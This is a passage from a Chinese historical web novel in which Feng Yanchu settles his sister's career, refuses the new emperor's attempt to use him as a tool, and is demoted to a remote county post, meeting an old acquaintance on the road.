封砚敏见状建议道:“二妹妹身边的珊瑚一直跟着学武,前段时间女儿瞧她那剑法使得虎虎生威。不如销了奴籍,让她陪着二妹妹应考,将来也能照顾着。”
大娘子听完这话,略略放心,点头道:“也好,就让她老子娘和兄弟依旧留
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在侯府,再给她侄儿放了身契,明日我就派人去一趟衙门。二郎,之后你将她的名字一起报上去。”
“是,母亲。”
说实话,当封砚婉知道这一消息时,内心十分激动,但她只能偷摸高兴。一旦此事泄露,别说祖母和父亲不同意,就连她姨娘也会阻拦,没准还会告状让她错失机会。
所以,当老太太和封简宁知道这件事时,已经板上钉钉,晚了。
若说前两年,老太太没准还真会同意。不过在她心里,这只是成婚前的体验,到了年岁自然要乖乖回归的。
在封简宁心里,若是女儿真有当将军的资质,反而会支持。但六扇门在他心里,也就是维护治安而已,当然希望二女儿按部就班,乖乖嫁人。
只是,两人都没想到二郎竟然会来个先斩后奏,要不是听旁人说起,他到现在还被蒙在鼓里呢。
“二郎,你妹妹眼看着就要相看人家了,你竟然撺掇着让她去参加六扇门的考核?要不是别人提起,我恐怕现在还不知道呢,你这不是第一次了!”封简宁的脸色着实说不上好看。
封砚初小时候都没怕过对方,现在就更不怕了,甚至语气和神情都分外轻松,反而劝道:“父亲,二妹妹现在比三郎的武功还要强些,要我说还不如去试一试呢,否则儿子岂不是白教一场。”
老太太很聪明的没提嫁人回归之事,而从另外一个方向说起,“二郎,婉儿毕竟是女子,六扇门肯定要和凶恶之徒打交道,也不说磕啊碰啊的,难免会受伤,到时候岂不是让家里头担心?”
还未等封砚初开口,封砚婉就连忙保证,“祖母,父亲,你们放心,二哥有教我轻功,要是打不过,我就跑,再说还有珊瑚帮忙呢。”
此刻,抱着剑的珊瑚低着头,一言不发,努力降低自己的存在。因为她也很高兴,可以陪着姑娘一起抓贼,这是做梦都想的事。
第二百六十三章 莫须有的罪名
封砚初见祖母和父亲还想说什么,正色道:“比起嫁人,我希望她多些选择。人心如渊,她进入六扇门,势必会见识到形形**的人,学会如何识人。那时,她自然明白今日选择的重要性,即使将来真的嫁人,旁人耍花腔,亦可看破,这才是真正为她好。”
封砚初话音刚落,父亲封简宁不再言语,他很清楚,即使信国公府已经覆灭,但次子至今都对自己当初将长女嫁给罗三郎耿耿于怀。
今日之言,不过是在暗示长辈,难道找个人家嫁了就当真是为了婉儿好?
祖母看似宽慰,“这次只要咱们细细打听,必定不会差,她再耽搁下去,一旦错过年岁,还能有什么好人家可选?”
封砚初看向祖母,错了吗?只能说对方是站在长辈的视角。他神情从未有过的严肃,声音平淡却是那样的掷地有声,“祖母,孙儿并非在与你们商议,这是孙儿的决定,婉儿是我妹妹,我只愿她高兴,旁人如何看待,并不主要。”
老太太对孙儿的话惊着了,这才明白,即使信国公府已经不在,敏儿亦脱离苦海,,而他从来没有放下过。突然间,她似乎想到了什么,猛地看向二郎,几乎是用战战兢兢地语气问着,“杨氏?”
封砚初脸上带着淡笑,眼神深邃,“杨氏?什么杨氏?孙儿不明白祖母在说什么。”
老太太闭了闭眼睛,长叹一声,“罢了,那便随婉儿去吧。”又看向笑吟吟的孙女,叮嘱道:“既然去了六扇门,就好好干,若是有什么难处也别藏着,回来给家里说,家里帮你做主。”
封砚婉笑得一脸开心,声音中透着兴奋,行礼道:“谢祖母,谢父亲母亲,也谢谢二哥!”
封砚初见二妹发亮的眼睛,温声道:“入了六扇门,武功更不可落下,若是有哪里不懂得,来广林巷找二哥。”
“好的,二哥。”虽然今日的心情起起伏伏,但封砚婉觉得这是她最高兴的一天。
封简宁也面带慈色,“好啦,快下去吧!我还要同你二哥说会话呢。”
“是,女儿告退。”封砚婉临走时,还不忘拉着珊瑚一起离开。
直至屋内只剩下老太太,封简宁,大娘子,大郎,以及封砚初之时。
封简宁这才开口问道:“母亲,你方才说的可是被贬去善慈庵的杨氏?”
老太太看向儿子,“是又如何?你就别问了,事情已经过去了。”
封简宁看向大娘子和大郎,结果两人同时将头扭向其他方向,他注视着次子,问道:“杨氏是不是已经**?”
老太太气的捶了一下儿子,骂道:“问什么问?”
封砚初眼中平静无波,不紧不慢道:“父亲,祖母说得对,不过是外人,当初可没少搓磨大姐姐,还提她做什么?”
“你杀了他!”封简宁几乎是用肯定的语气说出,妻子和大郎也知道,就他和母亲不知道。而母亲方才突然是想通了一些关窍,此刻,他只觉得儿子陌生。
封砚初并不惧怕,他亦看向对方,“父亲,那杨氏是着了风寒,不治而亡,与儿子何干?难不成父亲想将这莫须有的罪名,强安在儿子身上,要儿子为那病亡的杨氏赔命不成?”
封简宁叹道:“信国公府被流放,杨氏一族也不管,她不过是一个手无寸铁的妇孺罢了,何至于做到如此地步。”
封砚初早已经不是那个才穿越过来的单纯之人,他见识过世家的倾轧,即使在身在高门也需残酷斗争,也见到了官场之中的险恶,虽然这些对今后的他来说只是皮**,但也够了。
“父亲!那罗三郎自己不检点瘫痪在床,后来信国公府覆灭,他自然也活不成。可杨氏却一直觉得是姐姐害了她的儿子,不仅日日诅咒,还给罗三郎的那两个子女灌输此念。儿子正因念及稚子年幼,这才只除祸根!更别说,在我心中一直认为斩草不除根,春风吹又生。”
封简宁张了张嘴,却只道了句,“香山居士的诗不是你这么用的。”
大娘
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子知道罗三郎为何会有那般结局,可她并不认为是二郎和女儿做错了,全是对方咎由自取。
大郎则是被杨氏的所作所为恶心的不轻,当初就是杨氏人带着罗三郎的孩子在侯府门前大闹。
随着六皇子被正式册立为太子,景和帝的精气神仿佛被抽走似的,一日不及一日,到最后甚至经常不上朝,只让太子代劳。
沈显瑞(六皇子的名字)以前还不觉得,当他真正主持早朝,面对朝臣们的唇枪舌剑,勾心斗角时,应对起来只觉得疲惫,一不小心,就会落入臣子们的陷阱。
所以,即使景和帝躺在病床上,他也时时请教。要说以前还会在内心深处暗暗期盼早日继位,可现在只觉得时间太少,很多事情还不熟悉。
太子的表现,景和帝看在眼中。这日才请教完朝政,他便问道:“这几日,感受如何?”
沈显瑞深有体会,认真道:“以前儿子想的太简单了,就单单一个早朝,这些大臣就有诸多心思,即使儿子再怎么仔细谨慎都会一不小心掉入坑里。”
景和帝叹道:“你能知道掌管一个国家的不易,已经很好了。这很正常,朕卧病在床,你又没有经验,他们自然会百般试探。如今朕在,他们还会收敛一二,一旦将来朕去了,他们只会更过分,所以,千万不能放松警惕!”
“父皇,儿子希望您身体好好的。”起码这句话,沈显瑞是真心的。
“无论如何,兵权一定要掌握在自己手里,这样,即使他们想生异心,也会有所收敛。再则便是赋税,这些年土地兼并,再加上隐田,田税一年少似一年,若想增加田税,必须先解决这些问题,否则只会给百姓增加负担。一旦百姓活不下去,必会生乱。”
“咳咳咳……好在如今的商税还能撑一撑,但万万不可因此对商人优待,放松监管!不能入仕就是不能入仕,否则让他们有了权柄,大晟就真的完了。”景和帝只觉得时间太少,好些东西都要教。
第二百六十四章 不会在乎一个工具的结局
景和帝又说了一会话就累了,缓缓挥手,“你下去吧。”沈显瑞不敢继续打扰,行礼退下。
秋桂飘香,红叶映秋,灵台寺的山也到了最美的时候,然而宫里却传出噩耗。
景和帝终究没能熬过去,于寅时驾崩,人们被丧钟叫惊醒,各家各户赶紧挂上白色的灯笼。
京中所有皇室宗亲,勋贵,以及五品以上的官员必须入宫哭丧,六品以下的只需在各自的官衙设置灵堂,穿上素服遥拜哭丧即可。
幸好封砚初只是六品,不用进宫。当他到了兵部之时,灵堂已经搭好了,大家都陆陆续续的站好,装模作样的开始哭。
直至治丧结束,沈显瑞依旧穿着孝服,为了表示孝心,他硬生生穿了二十七天,才换上吉服。
从这以后,他终于坐上了梦寐以求的九五之位。此刻,他壮志成城,想让大晟在他的手上繁荣强盛;江荣海虽然依旧守着,可勤政殿和光明宫里头却再也没有景和帝的一丝痕迹,一切都换成了新帝的物品。
但在沈显瑞转过身之际,这才发现,他手上可用之人少的可怜,便想到了封砚初。
勤政殿内。
沈显瑞坐在桌案后方的那把椅子上,翻看着群臣递上来奏疏。
“臣封砚初,拜见陛下。”封砚初按照规矩行礼,面上看不出任何情绪,就连声音也平静无波。
沈显瑞仿佛在这时,才听见对方的声音,又为了表示自己的礼贤下士,脸上换成一副温和的神色,他抬手道:“免礼。”
“谢陛下。”封砚初依旧是那副样子。
沈显瑞见此一幕哈哈哈笑着,“封卿,咱们是旧识,你不必那般拘谨。”
封砚初充耳不闻,他并不拘谨,不过作为臣子面对皇帝之时,应有的态度。既然对方说了,他只得作出反应,拱手道:“臣惶恐,不知陛下宣臣进宫有何吩咐?”
沈显瑞明显没想到对方如此开门见山,为了缓解尴尬,他一边品着茶,一边说道:“就不能是叙叙旧?”
见对方没反应,心里只觉得无趣,同时也清楚这很正常。他干脆也不扯那么多,直接说道:“封卿,你我君臣幼时便相识,后来你对朕助益良多,若非你的谏言,朕也不会发现百姓生活困苦,先帝更不会将这江山重担交给朕,如今大晟内忧外患,正需要你这样胸怀百姓之人。”
封砚初闻言立即沉声道:“陛下所言甚是,如今百姓生活艰难,臣应思国之安,愿离京为陛下守牧一方。”
若是以前,沈显瑞或许会忍,但今时今日他居于高位,乃是一国之君。所以,听了这话,脸色当即就沉了下来,声音也透着寒意,“封主事,朕以为你听明白朕说的是什么意思!”
封砚初见状行礼,郑重道:“陛下,臣自出生起,就一直待在京城,去过最远的地方便是秋猎围场,试问一个连百姓都没见过的人,怎么可能当得好一个官,又如何能辅佐陛下呢?”
其实在陛下要召见之时,他就已经很清楚,自己即将面对的是什么?陛下信任他吗?不!并不信任!
陛下只是缺少一个工具罢了。一个能帮他对付百官的工具,至于这个工具以后的结局会如何?高高在上的陛下又怎么可能在乎。
封砚初说完这话,眼睛直视着对方,似乎要将其看透一般。
沈显瑞被这目光盯得难受,仿佛自己正在被赤裸裸的审视着,心中的那点
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子想法一览无余,当场便冷哼道:“好一个冠冕堂皇的理由,封砚初,你莫不是觉得自己了不得?朕将机会放在你跟前,你不接也得接!记住,朕是君,你是臣,更何况朕是在重用你,你要识趣!”
封砚初保持着行礼的姿势,问道:“臣读书时,碰到一句话,君使臣以礼,臣事君以忠,不知此言何解?”
“封砚初!”沈显瑞气的高声呵斥,可迎接他的是一片寂静,“罢了!既然不愿意,朕亦不强求,你不是想去地方吗?好!也不用等三年期满,现在就可以去!不如去寒州的漠阳做个县令如何,正好可以去看一看你的民!”
对方作出的决定都在封砚初的预料之中,边陲又如何?他也想见一见京城之外的景象,再说有他父亲在,有封氏一族在,他早晚会回来的。
“臣封砚初,谢陛下隆恩。”他行完礼,便告辞了,只是刚出勤政殿就听见茶盏碎裂的声音。
门外的江荣海亦听见了里头的声音。可他微微眯着眼,仿佛没察觉一般。只是心中却在哀叹,当今陛下到底比先帝差了不少,当年封主事的祖父封靖良,拒绝让孙儿入宫当陪读,可先帝不仅没生气,事后照样重用。
今日之事,也就陛下以为自己是在重用封主事,可瞧着方才的情形,人家恐怕早已识破,这才不接茬;没成想陛下竟恼羞成怒,更是将人贬谪出京。
封主事可不是无根无基之人。先不说其父武安侯任吏部侍郎,就说封氏族人中就有好几个当官的,还不算姻亲等关系网。连这样的小事都要动怒,那今后面对朝中那些积年的老臣又如何?那些人可比封主事难对付的多,先帝都为此耗尽心力。
第二百六十五章 需要带什么东西
封砚初回去之后,就从书架上找出与寒州相关的书籍查看。既然要离京去漠阳当县令,那就要做好,起码在出发前要了解一下,当地是何气候,又有哪种风土人情,需要带什么东西。
就在他查阅之时,封简宁来了,“二郎,陛下找你有什么事?”
封砚初温声抬头看去,“父亲?你怎么亲自来我这里了,有事叫我回去就行。”
封简宁不在意的摆摆手,说道:“你出宫没回去,反而直接来了广林巷,为父自然要亲自前来问一问。”随即便问,“陛下不会是想拿你挡刀吧?”
封砚初轻笑着,“还真叫父亲说找了,他大抵是觉得身边没有可用之人,便想到了儿子。”
封简宁一听这话眉心皱起,语气也急了,“你不会答应了吧?这看着荣光,实则不过是陛下对付旁人的刀罢了,想脱身都难。一旦没用,到时候你就是那个替陛下背黑锅的,群臣不会放过的,死已经是最好的结局了!”
“父亲不必担忧,儿子已经拒绝了。”封砚初虽是在安抚,但神情之间依旧是那副轻描淡写的样子。
封简宁松了一口气,连连叹道:“那就好,那就好。等三年期满,为父帮你安排一个好点的地方,先去地方做个通判,虽说依旧是六品,但这个职位及其重要,有了地方的历练,回京后升职也能容易些。”
“要叫父亲失望了,恐怕已经等不到三年期满,儿子不久之后就要离京外任了。”封砚初说话间,将那本书递了过去。
封简宁看到上头的内容,心中震惊不已,“什么!寒州!”
“对,去寒州漠阳县为县令。”封砚初见父亲看完,顺势收回书本。
“七品!怎会?先不说那地方苦寒,你在京城就是六品了,本来去地方继续任六品,面上是平调,实则相当于暗贬,现如今这就是明贬啊!”其实在封简宁心里,陛下在潜邸之时,儿子毕竟帮过忙,即使不被重用,那也不至于贬官。
“也许是因为儿子拒绝当工具,他有些恼羞成怒。”封砚初见父亲如此模样,自己不生气,反倒劝着,“儿子都不生气,父亲就更无需气恼。”
“可……可毕竟再怎么说,你也帮过他,要不是你,他根本连问鼎的希望都没有,怎么转过身,因为这么一件小事就翻脸?”封简宁依旧忿忿不平。
“父亲,这不难猜。以前陛下需要儿子,自然愿意表现出一副礼贤下士的模样;时至今日,他已经登上九五,身处高位。更何况,他本就没有为君的宽广胸怀,觉得我的拒绝伤了颜面,当然不高兴。”封砚初说到最后,语言中带着些许轻蔑,“飘了而已。”
“为君者最忌讳心胸狭隘,如今连这个都容不下。”封简宁不禁埋怨道:“当时你就不应该帮他!”
“父亲,他固然心胸狭隘,可起码不会出卖大晟的利益,这一点,也比逆王和黎家好些。”封砚初拉着父亲坐下,又亲自斟了茶,“父亲别恼,如今连我都容不下。那他日,面对那些积年的老臣又能好多少?他难的日子在后头呢!有这时间,您还不如讲一讲寒州,儿子还没出过京城呢,可不得好好准备准备。”
木已成舟,封简宁再怎么生气也无用,叹道:“罢了,不过是暂时而已,有我在京,你早晚会回来的。”之后当真说起寒州的民情。这比书上的还要齐全,细致。
封砚初要离京外任的消息终究还是传开了,最先上门的是陈泽文。
刚进门就问道:“二郎,我听人说你要去寒州去当一个什么县令,那可是七品啊,你怎么得做陛下了?竟被贬了?”
封砚
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初并未隐瞒,直接将当日的情形全说了,气的陈泽文猛拍桌子,“当真小心眼,小时候就是这副德行,当时不过与他吵了几句嘴,他为此抱负过好几次!如今还是如此,这心胸怕是只有芝麻大吧!”
封砚初连忙摸了摸自己的桌子,“你轻着点,别将我的桌子拍坏了。再者,我都不急。”
“不对啊,你与他素无往来,他怎么无缘无故要用你做刀?你又不是那些出身寒门,无根无基之人?”陈泽文不禁怀疑陛下脑子坏了,让一个毫无交情,且还有些背景的人,做自己手中的刀,怎么想的呢?
此刻,陈泽文这才反应过来,“他早就与你有往来!所以,才登基就找上你了。你当然不愿意,他这才恼怒,一气之下将你贬谪出京!”他觉得好友隐瞒没什么不对,只是因为这么一点小事就翻脸,可见陛下之凉薄。
“本不欲搭理,奈何当时他主动找上门,便说了几句,之后又来了几次。”封砚初喝着清茶,心中却想着去寒州要多带一些,免得到那里没有好茶喝。
陈泽文得知原来是这种情况,不禁安抚道:“外任也好,免得在京城里,还要看他们斗法。对了,你什么走,我送送你。”
“现在正在做交接,任命还未正式下来,还得几天吧,正好先收拾收拾行李。”封砚初说话时,看着不远处指挥着丫鬟小厮的李妈妈。
“嗯,现在已经十月多,恐怕等到寒州都已是隆冬,那里比京城还要冷,多带些御寒之物……”陈泽文虽然没去过寒州,但他之前一心向上战场,所以对大晟周边的地域都了解过。
“多谢。”封砚初真心道谢。
“去了之后记得来信!京中有什么消息,我也会给你写信的。”陈泽文不知道自己除了说这些话以外,还能做什么。
第二百六十六章 自小就活的恣意
封砚初看其一脸纠结的样子,笑道:“我都不在意,你不必如此。”
陈泽文见对方是真的无所谓,神情也松懈下来,“旁人被贬都是一脸颓然,偏你不放在心上。”
两人说话之际,孙延年提着酒来了,面上一副笑嘻嘻的模样,未进门就高声道:“二郎,我带了好酒来,今日咱们不醉不归!”
陈泽文指着门口,哈哈笑着,“他估计是觉得你会心情郁结,想着借酒消愁安慰安慰你。”
封砚初却起身走过去,将酒接了过来,问道:“是什么好酒?今日就不必喝了,让我带去寒州再享用。”
孙延年认真观察着对方的神情,语气中带着些许小心,“你莫不是伤心糊涂了?这可是被贬啊,还是去寒州,只怕你没走到地方就已经是白雪皑皑,那里的风可和京城的不同,凛冽刺骨。”
封砚初呵呵笑着,指了指不远处还在收拾东西的下人,“那不是正收拾着呢,我毕竟出身武安侯府,难道还能冷着我不成?比起那些衣不蔽体,食不果腹的饥民已经是投了好胎,还有什么不满足的?”
陈泽文也上前,拍着孙延年的肩膀,“我啊,和你一样,得知这个消息赶紧来安慰他,结果人家自己看的很开,没我什么事。你也别愣着了,快进来坐。”
孙延年坐下之后,叹道:“骤然听闻,我还以为是听错了呢,问了好几遍,只是……只是他怎能这般过河拆桥?心胸也忒窄了些。”
陈泽文却道:“想来他现在已经后悔了。”
“君子一言,驷马难追。更何况是九五之尊说出来的话,自然是一言九鼎,岂容反悔?”封砚初转身放下酒瓶之际,眼底闪过一抹讽刺,“朝令夕改,可不是好事。更何况,我不过是一个无足轻重之人,不必费心烦忧。”
孙延年摆手道:“不说他。对了,你最近还去义诊了吗?”
“没有去,因为我发现每到义诊之日,人格外的多,所以已经连续好几次没再去,可是发生什么事?”封砚初问道。
陈泽文也知道这事,开口道:“沈在云的医馆已经关了,听说这几日要回药谷,肃王和王妃急得都快长白头发了。”
“哦?”封砚初端茶的手略微停顿,想到了什么,然后饮了一口,“我这几日都忙自己的事,却不知道。”
陈泽文叹道:“他说自己之所以回京,不过是受人之托。如今事情已了,待在京城实在无趣,有这时间,还不如回药谷继续研习医道。待将来大成,收几名徒弟,行走山间,治病救人。他母妃为此已经气的躺倒了,就连陛下也相劝,全都无用。”
封砚初听到此处已经明白缘由,“也许,他之前所作所为都是为了旁人,从今以后只想按照自己的心意活着,毕竟人生苦短。”
孙延年撇撇嘴,“你倒是理解他,难道就不顾父母了?他姓沈,将来那是要承袭王爵的,哪能如此任性。”
“想来要不是为着别人的事,他没准根本不可能回京。”封砚初猜测着。
沈在云自幼体弱被送至药谷。他前二十年,整日面对的都是苦药汁子、以及学不完的医理,认不完的药草,以前,他的人生只有这些。
试问一个自小就没在父母身边长大的人,难道期盼他对父母有多深的感情?那不能够,或许在对方心里,还不如一个医学上未解的谜题。
陈泽文的鼻腔发出一声冷哼,“没准还真叫你说着了,我见他的次数不算少,可每次都是我主动贴上去,冷冰冰的。”
孙延年听后拍着桌子嘲笑,“那是你活该!”
“还不是我母亲吩咐的?否则谁愿意啊。”陈泽文回怼着。
勤政殿。
沈显瑞一片颓然,此刻,他已经从登上帝位的兴奋中走出来了,原来的那股傲然早已消散殆尽。不过才几天,他便清晰的感受到,没有父皇坐镇,朝中老臣是直接明晃晃的敷衍他。
比起那些老臣,他这才发现封砚初的直接和赤诚。自己当初凭什么觉得只要坐上那个位置,对方就必须听他的?<
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封砚初不过是侯府的庶出次子,却自小就活的恣意。不仅受祖父封靖良的看重,就连武安侯也对其疼爱有加,唐氏并不是亲母,也处处维护。即使犯了错,那也是丝毫不惧,纵然对方是嫡子,或者官阶高于武安侯,封砚初依旧不怵,他不用看任何人的脸色。
自己明明是尊贵的皇子,但母妃早逝,养母对他也是视而不见。而他需要小心翼翼,想尽办法讨父皇欢心,才能求得对方在闲暇之余看两眼,可就这两眼别人都容不下。反观封砚初,三言两语出的主意,就轻易改变了自己的处境。
之前,纵然自己是六皇子,可在对方面前就不由得气短几分。时至今日,他成了帝王,是对方要抬头仰望的存在,但没想到封砚初竟然直接拒绝。
而他又想到了沈在云,到现在都记得对方的眼神,是那样的淡漠。
“陛下,封砚初与您自幼相识,且助你良多,可您连他都容不下。而我不过是一个病弱的宗亲,比起京城,我更愿意回药谷,踏遍大晟的山水,走在乡间,为百姓医病,那才是我所长。”沈在云神情平淡,只有说到最后之时,才微微露出一丝向往。
“在云,你与朕是堂兄弟,乃是血亲,更何况朕初登大宝,还需要你的帮助。”沈显瑞觉得自己说的十分诚恳。
“血亲?”沈在云望向皇宫的方向,“大晟建立至今不到一百七十年,可为了那个位置**多少人?难道他们不是血亲?陛下,答应您的,我已做到,京城于我不过是樊笼而已。”
沈显瑞觉得自己的姿态已经放的够低了,可对方依旧坚持离京,他努力平复心中的火气,“罢了,既然你想走,那就走吧,只是从今以后,你不再是肃王世子!毕竟想担此位,就要尽到宗室之责!”
“自然。”沈在云说出这两个字之时,神情是从未有过的轻松,脸上罕见的带着笑。
第二百六十七章 到了离别之期
“江荣海!”沈显瑞脸色阴沉,朝外喊道。
自从景和帝去世,江荣海宁可守在外头,也很少进去陪伴当今。他正闭着眼睛,靠在墙边,听见此声,连忙进去应着,“陛下,老奴在,请您吩咐。”
其实大皇子的生母一直想要个太后的尊位,奈何沈显瑞很厌恶她,并不想搭理。虽然对方抚养了他,但心里终究有疙瘩,而他不得不违拗自己的心意,给了个贵太妃的位份!
晾了对方这些日子,如今却不得不用,毕竟无论身份还是地位,贵太妃最合适。
“朕如今虽已登基,然而后宫无主,给贵太妃说一声,朕欲立申氏女为后,让贵太妃将申大人之妻请进宫,之后朕会下旨,着礼部按照规制处理后续事宜。”
江荣海应了声,“是,老奴遵旨。”便出去了。
他很清楚,陛下学会了妥协,可这不过是为帝之路上小小的一步而已,今后只会有越来越多的无可奈何。
想当初,先太子病逝,先帝何尝不明白其中的猫腻,可还不是忍了,这一忍就是十几年,最后终于收回了兵权,奈何天不假年。
时间转瞬而逝,随着申氏女为后的圣旨传出,封砚初也到了离京之期。
老太太拉着二郎的手十分不舍,叮嘱着,“二郎,此去千里迢迢,祖母知道你向来好强,只是在外头毕竟不比在家里,要千万千万照顾好自己!”
“祖母,您放心。孙儿会照顾好自己的,再说这是去当官,又不是去流放,还有下人跟着呢。”
老太太被逗的笑骂道:“呸呸呸,胡说什么呢?你从来没出过远门,哪里晓得外头的凶险?唉,本来还说给你娶妻来着,谁知这般匆忙。”
大娘子也叮嘱道:“寒州比京城还要冷,我已经把大毛的衣裳放在最外头箱子里了,若是觉得冷,就让李妈妈给你拿出来。你放心去吧,我会好好照看你姨娘的。”
封砚初恭敬地行了一礼,“多谢母亲,儿子此去千里,还请您照顾好自己。”
长姐封砚敏悄悄沾了沾眼泪,“二郎,广林巷的宅子我会常去看一看的,你在外头要照看好自己。”
自从二妹封砚婉去了六扇门任职后,比起以前,更多了些干练和英气,就连说话也很刚强,“二哥,你放心去吧。若是有宵小之辈去‘枕松闲居’偷窃,看我不打断他的腿!”
父亲封简宁纵有千言万语,可到最后也只是挥挥手,说了句,“去吧。”
大郎看了看天色,城外必定还有相送之人,耽搁不得,便催促道:“二郎,得赶紧出发,否则赶不上驿站了!”
封砚初看着诸位长辈,跪在地上行了一个大礼,“今儿子远去千里赴任,不能承欢膝下,还望父亲母亲,祖母保重身体,儿子就此拜别。”说罢出门坐上马车,朝城门处而去。
谁知刚到城门处,就看见了孙延年、陈泽文、谢鹤川等人前来相送,巧的是沈在云也是今日出发。
但比起封砚初这里的热闹,他那里却极其冷清,竟无一人相送,幸而还有陈泽文与他闲谈。
还未等封砚初主动上前,沈在云却先行一步,拱手道:“封二郎。”
封砚初知道对方已经被罢了世子之位,亦上前拱手道:“沈郎君,真是巧,咱们竟然是同一日离京,更没想到会在此处相遇。”
沈在云笑得一脸轻松,这是他自进京以来,笑得最真心、最畅快的一次,“今日离京确实碰巧。不过,我是特意在此等你的,毕竟今日一别,再见无期。而且这段时日,咱们时常切
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磋医术,相谈甚欢。”说罢,从马车上拿出一个盒子,“这是一副金针,算是临别之礼。”
封砚初接过一瞧,十分珍贵,“这……怎么使得?”
“这段时日以来,我诊过不少病人,回药谷之后便要闭关。”沈在云说话间看向盒子,继续道:“这副金针再怎么珍贵也要给病人用,若是将其闲置,也不过是明珠蒙尘,一文不值。”
“多谢!今日未来得及备礼,不过……”封砚初拿出一个**递上前,“这个送你,你有医者的仁心,将来势必要踏遍山河,难免会碰见一二鼠辈,用它防身吧!”
“多谢,告辞!”沈在云并未推辞,接过**,将其放进袖囊,上了马车离开。
孙延年拍着封砚初的肩膀,笑道:“二郎,明年我也要北上,经过寒州之时必定去看你,你可要一尽地主之谊!”
陈泽文则说道:“寒州与京城风土人情千差万别,我毕竟没有亲眼见过,你帮我瞧一瞧,要是遇到什么新鲜事记得来信!”
封砚初认真点头应道:“一定!”
谢鹤川叹着气,“我还以为,今后还能继续与封兄品茗谈文。眼见三年之期将至,我也不知会被派去哪里为官,不过,我会给你去信!”
“谢兄勿忧,你之才,之心胸,弟了然,必定会一展抱负。”封砚初拱了拱手,朝众人道:“告辞!”
就在即将上马车之际,三郎再也忍不住了,带着哭腔道:“二哥!我会好好练武的!必定不会让你失望!”
封砚初转身看着众人,挥挥手,“我走了!”随后上了马车。
“驾!”暮山扬起马鞭,随着车轮碾过,车后扬起尘土。
马车渐行渐远,直至消失看不见,几人这才转身回了城。
第二百六十八章 驿站偶遇旧识
话说一开始倒还顺利,可从第五日起,渐渐变了天。不仅气温骤降,最后竟开始飘起雪来。
“郎君,下起雪了,若是不快点,咱们可能赶不到下一个驿站。”暮山抬头望向阴沉沉的天空,高声道。
封砚初撩开帘子,冷风直往里灌,早上还晴空**,这会已经飘起雪花,“中午就不要停了,赶紧加快速度,到了驿站再用饭!”
寒风凛冽,夹杂着雪片,如同千万把细小的刀刃直插人间,不过一会儿,天地之间就已经是银装素裹。
当一行人终于赶到驿站,就看见有不少人因风雪阻挡住了脚步。
在大晟,驿站虽然可以为官员免费提供食宿,但都是有标准的,一旦超过规定就要自己掏钱,而且随身仆从不在此列,是需要掏钱的。
封砚初一行人,无论是从出行乘坐的马车,还是从衣着打扮上来看,明显出身不凡。
此地的驿丞和驿夫不知接待过多少往来的官员,见此热情了许多,为的就是一个字‘钱’!瞧过文书之后,这才被迎入。
封砚初刚进大厅,就看见里头已经坐了六人。这些人看到他带着好几个男女仆从进来,目光顿时被吸引。
其中一人下死眼仔细瞧了瞧,惊讶的喊出声,“封砚初!”
他闻声转头看去,只见对方继续道:“哎呀,果真是你,我还当看错了呢!”
“江行舟?你怎么在这儿?”封砚初亦有些惊讶。比起上次告别,此次遇见,对方虽然身上穿的并非锦缎,但也是厚实的棉衣,脸上多了些血色,整个人看起来精神了许多。
“这话应该是我问你才对。”江行舟没想到自己竟然还可以在此处碰见熟人,连忙招呼着,“快过来坐。”
封砚初坐下之后,便问,“我记得你不是去了江州任县令吗?”
江行舟听了这话,朝周围瞧了瞧,然后对驿夫道:“劳烦一会儿将饭菜送至我的房间。”
两人进去房间刚坐下,对方就叹着气,“我去江州之前是信心满满,可到了当地这才发现不容乐观,当地豪绅欺压百姓,恶意侵占田产,我便做了几件振奋民心之事,但到底得罪了人,三年之期未满,上头便将我派去寒州漠阳做县丞。”
“你去的是漠阳?”封砚初没想到真真是巧。
江行舟听后问道:“你这话何意?莫不是你也要去漠阳?”
封砚初点头承认,“是,我要去漠阳任县令。”
“那还真是巧。”江行舟听后,皱眉不解,“不过,话说你不是在兵部任主事吗?怎么也跑到这苦寒之地了?”
此时,雪早已下大,外头的北风呼啸着,伴随着封砚初说话的声音,像是伴奏似的。
“新帝登基,想一展抱负,可却少了一件趁手的工具。不幸,我就是他选中的工具,一个臣子拒绝君王,自然脸上下不来,所以就被贬了。”整个说话的过程,他的神情分外轻松,并不因此懊恼。
“正好,从今以后,咱们两个就是同僚。”江行舟虽不明白陛下为何选了封砚初,但他很清楚,对方身后有封家,是有着深厚的关系网,现在不过是暂时的低谷,早晚会回去的,可也正因此,地方官员才不敢太过分,这样一来,他就可以在漠阳县一展拳脚。
‘咚咚咚。’一阵敲门声响起。
进来的是郑伟,行礼道:“江大人安,郎君,屋子和饭菜已经准备妥当了,是在此处用饭还是……”
封砚初见状拱手道:“如此,我便先告辞了。”
出了门,郑伟就将方才外头的情况一一说了,“郎君,方才在外面,那些人一开始见您只是一个县令,便有些看不起,直到听说您姓封,又得知您是武安侯之子,那脸上简直像是大
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变戏法一般,换了颜色。”
封砚初瞥向郑伟,“你是特意说的?”
郑伟嘿嘿笑着,“郎君,小的一开始并不想说,奈何那些人狗眼看人低,明里暗里说您是一个纨绔公子哥儿,嘿嘿……小的这才微微漏了那么一点。”说话时还用手指小小的比划了一下。
“罢了,如今这世道本就是看人脉,看出身,看背景,只一点,不许打着侯府和我的名义欺压,否则我饶不了你。”封砚初还是给对方紧紧皮,毕竟接下来他们要去的可是一个全新的地方。
“小的哪敢?郎君放心,让小的欺负人,小的都不会去的。”郑伟知道郎君的底线,一旦明知故犯,即使是多年的情分也不管用。
刚进房间,因为屋里已经烧着炭盆,所以窗户开了一条缝。床榻之上铺的是他自己带来的被褥,就连喝水的杯子,吃饭用的筷子也是。
郑伟一边倒着热茶,一边对正在收拾床铺的雪香道:“让人将饭菜端来。”
楼下之人羡慕的看着封砚初一行人,说着酸言酸语。
有一满脸大胡子的啧啧道:“那封县令外头穿的那一件大氅,脚上的靴子,就那一身就值不少钱。”
另一个明显是一个文弱书生打扮的中年男人,冷哼道:“你羡慕也是白羡慕,人家的老子是武安侯,那是什么人?吏部侍郎!自然不凡。”
又一个年轻人说:“吏部侍郎有什么用?儿子还不是被贬到苦寒之地当县令。”
那中年男人道:“嘁!你懂什么?咱们那是升迁无望,人家那是下来镀金的,早晚得回去。”
大胡子附和着,“别酸了,人家出身好,就连身边的仆人穿的都比你好,看见那个小厮了没?身上穿的可是棉的,还有护卫呢!”
这几人明明坐着不同的桌子,彼此之间并不熟悉,竟也聊的热火朝天。
第二百六十九章 到达漠阳县
次日,风雪渐停,可天空依旧阴沉沉的。
封砚初准备出发,刚到驿站门口,就看到了江行舟,两人互相问了好。因为同路,打算结伴而行,当他邀请之时。
